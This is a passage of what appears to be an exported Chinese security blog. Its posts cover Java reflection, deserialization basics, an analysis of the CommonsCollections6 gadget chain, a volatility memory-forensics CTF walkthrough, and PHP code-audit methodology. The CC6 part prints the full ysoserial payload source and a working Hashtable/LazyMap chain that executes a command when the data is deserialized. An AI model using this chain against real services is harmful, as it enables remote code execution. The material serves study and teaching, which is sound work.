java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class testUser { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class user = (new User()).getClass(); //第二个参数要传class类,如果参数有多个传入:new Class[]{String.class,String.class} Method test = user.getMethod("test",String.class); //如果第二个参数有多个传入:new Object[]{"1","2"} test.invoke((new User()),"GhostToKnow"); }} 修改变量User 123456789public class User { private String pass = "123321"; @Override public String toString() { return "User{" + "pass='" + pass + '\\'' + '}'; }} testUser 12345678910111213141516171819import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class testUser { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException { Class user = (new User()).getClass(); //获取私有属性对象 Field pass = user.getDeclaredField("pass"); //关闭java访问控制检查,就可以给private属性赋值调用 pass.setAccessible(true); User u = new User(); System.out.println(u); pass.set(u,"GhostToKnow"); System.out.println(u); System.out.println(pass.get(u)); }} 常用方法获取类:forName / getClass 获取类下的函数: getMethod/s / getDeclaredMethod/s 执行类下的函数: invoke 获取类构造方法: getConstructor/s / getDeclaredConstructor/s CC链源码分析我们需要payload经过反序列化过后会执行:Runtime.getRuntime().exec("任意命令") CommonsCollections6.java 在\\ysoserial\\src\\main\\java\\ysoserial\\payloads\\CommonsCollections6.java 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576package ysoserial.payloads;@SuppressWarnings({"rawtypes", "unchecked"})@Dependencies({"commons-collections:commons-collections:3.1"})@Authors({ Authors.MATTHIASKAISER })public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> { public Serializable getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections6.class, args); }} 其中我们先看这里,是整个漏洞的核心,我们一个个函数的看 123456789101112final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };Transformer transformerChain = new ChainedTransformer(transformers); 跟进ConstantTransformer看一下 1234567891011121314151617181920212223242526package org.apache.commons.collections.functors;import java.io.Serializable;import org.apache.commons.collections.Transformer;public class ConstantTransformer implements Transformer, Serializable { private static final long serialVersionUID = 6374440726369055124L; public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null); private final Object iConstant; public static Transformer getInstance(Object constantToReturn) { return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn)); } public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; } public Object getConstant() { return this.iConstant; }} 它的transform方法会返回iConstant,而this.iConstant是来自构造器参数constantToReturn,所以我们在实例化时传入一个Runtime.class返回的也是Runtime.class就解决了Runtime.getRuntime().exec("任意命令")开头我们需要的Runtime类 再跟进InvokerTransformer看一下实现了什么,这里只展示需要的代码 12345678910111213141516171819202122232425构造方法 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }transform方法 public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } } } 在前面说到了反射机制,这里的transform很明显就是利用了反射机制,是执行了某个对象的某个方法 使用的this.iMethodName,this.iParamTypes,this.iArgs都是可以通过构造方法传入的,也就是我们可控的,那么只要input可控,就可以执行任意对象的任意方法,这里就要看到ChainedTransformer类了 ChainedTransformer 123456789101112 //构造方法public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } //transform方法public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; } 这个类的构造函数接收一个Transformer类型的数组,并且在transform方法中会遍历这个数组,并调用数组中的每一个成员的transform方法,而且会把上一个成员调用transform的方法返回的对象,当作下一个成员的transform方法的参数,这就是一个链式调用,配合InvokerTransformer类中的transform方法,input也可控了 至此整个漏洞核心已经明了,利用ConstantTransformer的transform方法获取Runtime.class,再利用ChainedTransformer的transform方法把Runtime.class传给InvokerTransformer的transform方法利用,再利用ChainedTransformer的transform方法不断调用InvokerTransformer的transform方法,利用这个方法的反射相关代码,所有参数都是可控的。 可能有点晕,这三个XXXtransformer类都是实现了TransFormer这个接口,所以他们都有一个transform方法 12345InvokerTransformer :transform方法通过反射可以执行一个对象的任意方法ConstantTransformer : transform返回构造函数传入的参数ChainedTransformer :transform方法执行构造函数传入数组的每一个成员的transform方法 把这几个transformer组合起来构造一个执行链,代码如下,这是直接截取的CC6链的部分代码: 1234567891011121314151617181920212223import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class TestTest { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"notepad"}), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform("a"); }} 执行代码,利用成功,成功弹出记事本 这里只是手动触发,现在要看一下被动触发,也就是在真实的应用中怎么触发ChainedTransformer的transform方法。 全局寻找哪个类中使用了factory方法,并且我们可以利用,锁定到了LazyMap类 LazyMap利用链LazyMap类中调用了transform的地方,在get方法中: 123456789public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); }} 调用了this.factory.transform方法,而 this.factory是我们可控的,构造函数如下: 12345678protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; }} 构造利用链时,我们只需要令factory为我们构造的ChainedTransformer就可以触发ChainedTransformer的transform方法。 现在倒是找到了能够触发transform()的地方了,但是这还是不能在反序列化的时候自动触发,我们都知道反序列化只会自动触发函数readObject(),所以,接下来我们需要找到一个类,这个类重写了readObject(),并且readObject中直接或者间接的调用了刚刚找到的get方法 到这一步,正常的代码审计过程中,会采取两种策略,一种是继续向上回溯,找get方法被调用的位置,另一种策略就是全局搜索readObject()方法,看看有没有哪个类直接就调用了这个方法或者readObject中有可疑的操作,最后能够间接触发这个方法。 寻找到了TiedMapEntry类 1234567891011121314151617181920212223public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L; private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getValue() { return this.map.get(this.key); } public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } public String toString() { return this.getKey() + "=" + this.getValue(); }} 其中getValue方法也调用了get方法,如下: 123public Object getValue() { return this.map.get(this.key);} 而且this.map我们也可以控制,构造方法: 1234public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key;} 其中hashCode()和toString()方法间接执行了getValue方法,但是这个也没办法直接触发,因为它没有在readObject的时候调用,当在readObject的时候调用,才能让它自动执行,所以我们最终要找的还是readObject方法中的触发点,可以关注这三个方法谁能调用 在Hashtable中的readObject存在hashCode()方法,这是jdk内部的类 1234567891011121314151617181920212223242526272829public class Hashtable<K,V> extends Dictionary<K,V> implements Map<K,V>,Cloneable,java.io.Serializable { private transient Entry<?,?>[]table; private transient int count; private int threshold; private float loadFactor; private transient int modCount = o; private static final long serialVersionUID = 1421746759512286392L; private void readObject(java.io.0bjectInputStream s) throws IOException, ClassNotFoundException{ //Read in the threshold and loadFactor s.defaultReadobject(); //Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { K key = (K)s.readObject() v value = (V)s.readObject(); reconstitutionPut(table, key, value); }}private void reconstitutionPut(Entry<?,?>[]tab, K key, v value) throws StreamCorruptedException{ if (value == null) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index =(hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index]; e!= null ; e= e.next) { if((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(0); }} 把Hashtable形成的对象序列化进去,那么当在反序列化时,要去调用Hashtable的readObject,再间接去调用hashCode()里的getValue()再去调用LazyMap中的transform()方法,而transform()方法里是我们构造的ChainedTransformer 1234567891011121314151617181920212223242526272829303132333435363738394041public class TestTest { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { disableWarning(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"notepad"})}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(innerMap, transformerChain); Hashtable<Object, Object> hashtable = new Hashtable<>(); hashtable.put("pwn","dd"); Field table = hashtable.getClass().getDeclaredField("table"); table.setAccessible(true); Object[] hasharray = (Object[]) table.get(hashtable); for (Object obj: hasharray){ if (obj != null){ Field entykey = obj.getClass().getDeclaredField("key"); entykey.setAccessible(true); entykey.set(obj,entry); } } ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC6.ser")); objectOutputStream.writeObject(hashtable); objectOutputStream.close(); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC6.ser")); ois.readObject(); ois.close(); } 成功弹出记事本 还有很多其他可以利用的类和利用链: BadAttributeValueExpException的readObject方法 toString方法与php中的__toString方法类似,在进行字符串拼接或者手动把某个类转换为字符串的时候会被调用 AnnotationInvocationHandler的invoke方法中有get的调用再配合动态代理 TransformedMap利用链,另一条POP链 本博客的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。 本文所提供的工具仅用于学习、漏洞验证,禁止用于非法用途!","categories":[{"name":"java安全","slug":"java安全","permalink":"http://example.com/categories/java%E5%AE%89%E5%85%A8/"}],"tags":[{"name":"反序列化","slug":"反序列化","permalink":"http://example.com/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"}]},{"title":"java安全 反序列化(一)","slug":"java安全-反序列化-一","date":"2023-04-05T05:39:07.000Z","updated":"2023-04-05T05:56:01.293Z","comments":true,"path":"2023/04/05/java安全-反序列化-一/","link":"","permalink":"http://example.com/2023/04/05/java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%B8%80/","excerpt":"","text":"前言序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。序列化是一种对象持久化的手段,可以将对象的状态转换为字节数组,来便于存储或者传输的机制;可以有效地实现多平台之间的通信、对象持久化存储。 Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectlnputStream类的readObject()方法用于反序列化。 就像游戏的存档,中途退出后存档,再次游玩时读取存档恢复上次游戏离开时的状态 序列化基础知识:一个类对象要想实现序列化,必须满足两个条件: 该类的所有属性必须是可序列化的。 需要实现Serializable或Externalizable接口 实现其中一个接口就可以了 java.io.Serializable java.io.Externalizable java.io.Serializablepublic interface Serializable {} 这个是标记接口里面什么内容都没有,本身是没有意思的。编译器知道这个标记有什么含义,对实现了这个接口的类会进行特殊处理。 实现了这个接口的类,编译器就知道这个对象是可以用来序列化 java.io.Externalizable123public interface Externalizable extends java.io.Serializable{ void writeExternal(ObjectOutput out) throws IOException; void readExternal(ObjectInput in) throws IOException,ClassNotFoundException;} Externalizable接口也是实现了Serializable接口,并且有2个方法,要继承这个接口必须要实现接口定义的方法。 尝试序列化和反序列化对一个类进行序列化需要执行ObjectOutputStream.writeObject方法写入对象。 对一个类进行反序列化需要ObjectIputStream.readObject从输入流中读取字节然后转换成对象。 在反序列化的过程中,是直接拿到对象而不是new一个所以被反序列化操作的类不会执行构造方法 注意看注解 TestSerialize 12345678910111213141516171819202122232425import java.io.Serializable;public class TestSerialize implements Serializable { private static final long serialVersionUID = 1; public String username; //被transient关键字修饰的成员属性变量不被序列化 transient private String password; public TestSerialize(String name, String pass) { this.username = name; this.password = pass; } public void testUse(){ System.out.println("uasrname: "+username); System.out.println("password: "+password); } @Override public String toString() { return "TestSerialize{" + "username='" + username + '\\'' + ", password='" + password + '\\'' + '}'; }} main 1234567891011121314151617181920212223242526272829303132333435363738394041import java.io.*;public class main { public static void main(String[] args) { TestSerialize ser = new TestSerialize("GhostToKnow","123123"); try { // 创建一个FIleOutputStream类 FileOutputStream fos = new FileOutputStream("./Test.ser"); // FileOutputStream类,字节输出流,用于处理原始二进制数据。将数据写到文件,需要将数据转换成字节并将其保存到文件。 // 将这个FIleOutputStream类封装到ObjectOutputStream中 ObjectOutputStream oos = new ObjectOutputStream(fos); // ObjectOutputStream,对象的输出流,将指定的对象写入到文件完成对象的序列化过程 // 调用writeObject方法,序列化对象到文件Test.ser中 oos.writeObject(ser); // 创建一个FIleInutputStream类 FileInputStream fis = new FileInputStream("./Test.ser"); // FileInputStream文件输入流,是将文本文件中的数据输入到内存中。他是一个字节输入流,是InputStream抽象类的一个子类 // 将FileInputStream类封装到ObjectInputStream中 ObjectInputStream ois = new ObjectInputStream(fis); // ObjectInputStream,反序列化流,将使用ObjectOutputStream序列化的原始数据恢复为对象,以流的方式读取对象 // 调用readObject从user.ser中反序列化出对象,默认是Object类型,需要进行类型转换, TestSerialize test = (TestSerialize)ois.readObject(); test.testUse(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } }} 0xACED:STREAM_MAGIC,声明使用了序列化协议,从这里可以判断保存的内容是否为序列化数据。 (这是在黑盒挖掘反序列化漏洞很重要的一个点) 0x0005:STREAM_VERSION,序列化协议版本。 0x73: TC_OBJECT 0x72: TC_CLASSDESC 0x00…01:serialVersionUID serialVersionUIDprivate static final long serialVersionUID = 1; 作用:在反序列化的时候保证与本地类的版本相同 不自定义会自动生成UID 如果两个不同内容的类,在包名类名都一样时,是不能进行相互反序列化的,但如果定义的UID一样,那么生成的序列化文件就可以进行反序列化操作。 自定义序列化在序列化一个类的时候并不想写入多余的数据,需要自定义读取和写入 readObject write Object java是支持自定义readObject与writeObject方法的,只要某个类中按照特定的要求实现了readObject方法,那么在反序列化的时候就会自动调用它. 12345private void writeObject(ObjectOutputStream oos)throws IOException { oos.writeUTF(username); oos.writeUTF(password); System.out.println("Test Serialize writeObject");} 12345private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException { username = ois.readUTF(); type = ois.readUTF(); System.out.println("Test Serialize writeObject");} 读写顺序要一致,先写入username变量,那么读取时也要先读取username变量,不然会报错。 1234567891011121314151617181920212223242526272829303132import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;public class TestSerialize implements Serializable { private static final long serialVersionUID = -123123123L; public String username; transient private String password; public int age; public TestSerialize(String name, String pass, int age) { this.username = name; this.password = pass; this.age = age; } public void testUse(){ System.out.println("usernaem: "+username); System.out.println("password: "+password); System.out.println("age: "+age); } private void writeObject(ObjectOutputStream oos)throws IOException { oos.writeUTF(username); oos.writeUTF(password); System.out.println("Test Serialize writeObject");} private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException { username = ois.readUTF(); password = ois.readUTF(); System.out.println("Test Serialize writeObject");}} 123456789101112131415161718192021222324import java.io.*;public class main { public static void main(String[] args) { TestSerialize ser = new TestSerialize("GhostToKnow","123123",19); try { FileOutputStream fos = new FileOutputStream("./Test.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(ser); FileInputStream fis = new FileInputStream("./Test.ser"); ObjectInputStream ois = new ObjectInputStream(fis); TestSerialize test = (TestSerialize)ois.readObject(); test.testUse(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } }} 自定义读写只有name和pass没有age,所以这里就算给age传入了19但输出age为0 在自定义writeObject时手动把被transient修饰的变量写进去,在读取readObject时也手动写出来,pass是可以被修改拿到的。 反序列化漏洞成因序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就可能带来安全问题。 广义上来讲,传的xml,json等内容可以进行反序列化操作,再次拿到java对象,也可以叫反序列化漏洞 例子如果自定义的readObject方法里进行了一些危险操作,那么就会导致反序列化漏洞的发生了。 TestSeria 123456789101112131415161718192021import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;public class TestSerialize implements Serializable { public String cmd = null; public TestSerialize(String cmd) { this.cmd = cmd; } private void writeObject(ObjectOutputStream oos)throws IOException { oos.defaultWriteObject(); System.out.println("Test Serialize writeObject");} private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException { ois.defaultReadObject(); //调用系统执行命令功能,去执行cmd这个变量的命令 Runtime.getRuntime().exec(cmd); System.out.println("Test Serialize writeObject");}} main 123456789101112131415161718192021import java.io.*;public class main { public static void main(String[] args) { TestSerialize ser = new TestSerialize("notepad"); try { FileOutputStream fos = new FileOutputStream("./Test02.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(ser); FileInputStream fis = new FileInputStream("./Test02.ser"); ObjectInputStream ois = new ObjectInputStream(fis); TestSerialize test = (TestSerialize)ois.readObject(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } }} 在反序列化的时候会主动调用readObject就会触发命令执行,弹出了记事本。 这里只是演示,应该没有人会在写Runtime.getRuntime().exec(cmd);大多时是利用反射去构造java方法,再通过反射去调用java方法 Runtime.exec():直接在目标环境执行命令 Method.invoke():需要适当的选择方法和参数,通过反射执行java方法 RMI/JNDI/JRMP等:通过引用远程对象,间接实现任意代码执行的效果 后续介绍java反射,CC6链源码分析,LazyMap利用连,ysoser工具的使用 本博客的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。 本文所提供的工具仅用于学习、漏洞验证,禁止用于非法用途!","categories":[{"name":"java安全","slug":"java安全","permalink":"http://example.com/categories/java%E5%AE%89%E5%85%A8/"}],"tags":[{"name":"反序列化","slug":"反序列化","permalink":"http://example.com/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"}]},{"title":"volatility取证","slug":"volatility取证","date":"2023-04-03T13:42:48.000Z","updated":"2023-04-03T13:46:07.874Z","comments":true,"path":"2023/04/03/volatility取证/","link":"","permalink":"http://example.com/2023/04/03/volatility%E5%8F%96%E8%AF%81/","excerpt":"","text":"前言volatility是一款开源的内存取证分析工具,由python编写,支持各种操作系统,能够对导出的windows,linux,mac osx,android等系统内存镜像进行分析。可以通过插件来拓展功能。 常见命令命令格式: volatility -f [镜像文件] –profile=[操作系统] [插件参数] 123456789101112131415161718192021222324252627volatility -f 文件名 imageinfo 得到镜像的基本信息。volatility -f 文件名 --profile=系统 pslist 查看进程信息volatility -f 文件名 --profile=系统 pstree 查看进程树volatility -f 文件名 --profile=系统 hashdump 查看用户名密码信息volatility -f 文件名 --profile=系统 john 爆破密码volatility -f 文件名 --profile=系统 lsadump 查看用户强密码volatility -f 文件名 --profile=系统 svcscan 查看服务volatility -f 文件名 --profile=系统 iehistory 查看IE浏览器历史记录volatility -f 文件名 --profile=系统 netscan 查看网络连接volatility -f 文件名 --profile=系统 cmdscan cmd历史命令volatility -f 文件名 --profile=系统 consoles 命令历史记录volatility -f 文件名 --profile=系统 cmdline 查看cmd输出, 获取命令行下运行的程序 volatility -f 文件名 --profile=系统 envars 查看环境变量,一般很多配合grep筛选,可也是使用-p指定pidvolatility -f 文件名 --profile=系统 filescan 查看文件volatility -f 文件名 --profile=系统 notepad 查看当前展示的notepad内容volatility -f 文件名 --profile=系统 hivelist 查看注册表配置单元volatility -f 文件名 --profile=系统 userassist 查看运行程序相关的记录,比如最后一次更新时间,运行过的次数等。volatility -f 文件名 --profile=系统 clipboard 查看剪贴板的信息volatility -f 文件名 --profile=系统 timeliner 最大程序提取信息volatility -f 文件名 --profile=系统 Dumpregistry 提取日志文件volatility -f 文件名 --profile=系统 dlllist 进程相关的dll文件列表 volatility -f 文件名 --profile=系统 memdump -p xxx --dump-dir=./ 提取进程volatility -f 文件名 --profile=系统 dumpfiles -Q 0xxxxxxxx -D ./ 提取文件volatility -f 文件名 --profile=系统 procdump -p pid -D ./ 转存可执行程序 volatility -f 文件名 --profile=系统 screenshot --dump-dir=./ 屏幕截图volatility -f 文件名 --profile=系统 hivedump -o 0xfffff8a001032410 查看注册表键名volatility -f 文件名 --profile=系统 printkey -K "xxxxxxx" 查看注册表键值 OtterCTF取证11题在分析之前,都需先查看当前镜像的信息,获取是哪个操作系统,使用imageinfo命令查看 然后使用volatility各类工具进行分析即可 获取密码volatility -f OtterCTF.vmem –profile=Win7SP1x64 hashdump 查看用户名密码信息 volatility -f OtterCTF.vmem –profile=Win7SP1x64 lsadump 查看用户强密码 使用john爆破密码不出密码尝试lsadump查看用户强密码 lsadump:从注册表中提取LSA密钥信息,显示加密以后的数据用户密码 pc的名称查看主机名 hivelist查看注册表信息,查看到system 所有用户信息都会存储到注册表,SYSTEM系统信息 hivelist查看注册表第一级信息 第一级只是目录,路径代表文件名 如果东西不多可以 hivedump 下来查看,如果很多可以用printkey一步步查看 所以文件的位置使用偏移量来表示,0x开头,使用 printkey打印出来,参数-o,然后根据得到的偏移量,找到系统注册表包含的值 volatility -f OtterCTF.vmem –profile=Win7SP1x64 printkey -o 0xfffff8a000024010 继续寻找直到找到ComputerName关键词,后面的路径要使用 -K 参数使用一步步来,深入路径 含有目录两层\\ComputerName\\ComputerName,增加混淆 内存正在运行什么游戏,游戏连接哪个服务器游戏应该会连接服务器,所以查看网络 寻找可疑进程,连接外部网络的进程 volatility -f OtterCTF.vmem –profile=Win7SP1x64 netscan 对所有网络连接进程扫描 账户登录过Lunar-3频道,账户名是什么寻找登录游戏频道的游戏账户名。 需要在游戏进程中查看,用户登录到进程中的话,那么内存应该有登录用户名 使用strings过滤可打印字符串,grep过滤含有关键字Lunar-3频道字符串 strings OtterCTF.vmem | grep Lunar-3 -A 5 -B 5 (-A 查看关键词前几行,-B查看关键词后几行,也可以使用-C查看前后几行) 都尝试一下发现是0tt3r8r33z3 strings命令在对象文件或二进制文件中查找可打印的字符串。 寻找登录名在0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} 后的游戏名 意思是用户名总在这个签名之后:0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} 先将LunarMS.exe进程转存出来;-p pid号 volatility -f OtterCTF.vmem –profile=Win7SP1x64 memdump -p 708 -D ./ 提取进程 可以使用010查看 5A 0C 00 片段 也可以使用:hexdump -C 708.dmp |grep “5a 0c 00” -C 3 寻找5a 0c 00 片段眼都快找花了,太多了 volatility -f OtterCTF.vmem –profile=Win7SP1x64 yarascan -Y “/\\x64(.{6,8})\\x40\\x06(.{18})\\x5a\\x0c\\x00\\x00/i” -p 708 这个需要安装yarascan插件是最好找的 寻找经常复制粘贴的账号密码volatility -f OtterCTF.vmem –profile=Win7SP1x64 clipboard clipboard 查看剪贴板的信息 寻找恶意软件名一般是使用pslist来查看进程寻找可疑进程名,但也有可能进程名进行了混淆分辨不出来或者被合法进程隐藏了 使用 pstree 命令可以查看进程树,可以查看所有进程和依赖关系 pstree代表查看带树结构的进程列表。 寻找可疑进程:通过寻找PPID大于PID的进程,或查看进程依赖寻找可疑的 这里mvware-tray.exe是ppid大于pid的并且很奇怪的是Rick And Morty的子进程 dlllist代表查看使用的动态链接库是否合法, 查看一下进程相关的dll文件列表 。-p指定pid号 发现是在temp目录下进行的,一看就不是正经程序, 因为temp这是一个临时目录 恶意软件是如何进入电脑的可以查看和恶意软件相关的文件 volatility -f 1.vmem –profile=Win7SP1x64 filescan 查看文件 直接查看文件太多,要加过滤,恶意进程的父进程是Rick And Morty volatility -f 1.vmem –profile=Win7SP1x64 filescan | grep ‘Rick And Morty’ 三个种子文件和三个exe文件;寻找来源要关注种子文件,里面可能含有地址信息 volatility -f 1.vmem –profile=Win7SP1x64 dumpfiles -Q 0xxxxxxxx -D ./ 查看文件内容 在这个文件里发现 website可疑,后面就是flag 恶意软件种子从哪来查看进程可以发现有很多chrome浏览器进程,种子可能是在浏览器中下载的 先把所有chrome进程转存下来 memdump -n chrome(指定所有chrome进程) -D ./ 再查找 download.exe.torrent 通过恶意软件寻找攻击者的比特币地址题目描述说攻击者在恶意勒索软件中留下了比特币地址,是多少呢? 首先可以把恶意进程转存到一个可执行文件,使用IDA查看寻找比特币,钱包,支付等关键词,定位地点 也可以使用dnSpy进行逆向分析 也可以把转出的文件使用strings -e l 进行搜索 strings -e l 3720.dmp | grep -i -A 5 “ransomware” 恶意软件的图像的隐藏信息procdump 命令代表转存可执行程序 使用foremost分离图片 或者使用反编译查看图片","categories":[{"name":"取证","slug":"取证","permalink":"http://example.com/categories/%E5%8F%96%E8%AF%81/"}],"tags":[{"name":"volatility","slug":"volatility","permalink":"http://example.com/tags/volatility/"}]},{"title":"PHP代码审计","slug":"PHP代码审计","date":"2023-04-03T12:25:51.000Z","updated":"2023-04-03T13:21:12.906Z","comments":true,"path":"2023/04/03/PHP代码审计/","link":"","permalink":"http://example.com/2023/04/03/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/","excerpt":"","text":"前言官方文档:php.netphp官方文档是非常详情,好用的,在遇到不清楚作用的函数时可以进行查询 白盒测试做代码审计最主要的知识是要去了解一个漏洞应该有哪些防御方式,因为大部分的漏洞都是因为修复没有做的全面,或者修复没有考虑到一些情况导致漏洞。MVC:C:分发处理请求网站的逻辑M:处理和数据库相关的操作V:显示给用户的内容 代码审计流程正向查找流程a. 从入口点函数出发(如index.php)b. 找到控制器,理解URL派发规则(URL具体映射到哪个具体的代码里)c. 跟踪控制器调用,以理解代码为目标进行源代码阅读d. 最终在阅读代码的过程和尝试中,可能发现漏洞 本质:程序员疏忽或逻辑问题导致漏洞 特点: 复杂:需要极其了解目标源码的功能与框架 跳跃性大:涉及M/V/C/Service/Dao等多个层面 漏洞的组合:通常是多个漏洞的组合,很可能存在逻辑相关的漏洞 反向查找流程a. 通过危险函数,回溯可能存在的漏洞 1. 查找可控变量 2. 传递的过程中触发漏洞 特点: 与上下文无关 危险函数,调用即漏洞 代码审计工具功能大多就是这个原理 双向查找流程(手动审计主要方式) 略读代码,了解框架(正向流程,如:网站都有哪些功能,什么样的架构如mvc:它的m在哪v,c在哪,用了什么模板引擎,是否用了orm(如果使用了ORM那么sql注入就很少了,如果没用是手工写的sql语句,可以关注是否存在sql漏洞)等…) 是否有全局过滤机制 有:是否可以绕过 可以:寻找漏洞触发点(反向查找流程,找危险函数) 不可以:寻找没有过滤的变量 没有:那么就看它具体是如何处理的,具体代码具体分析 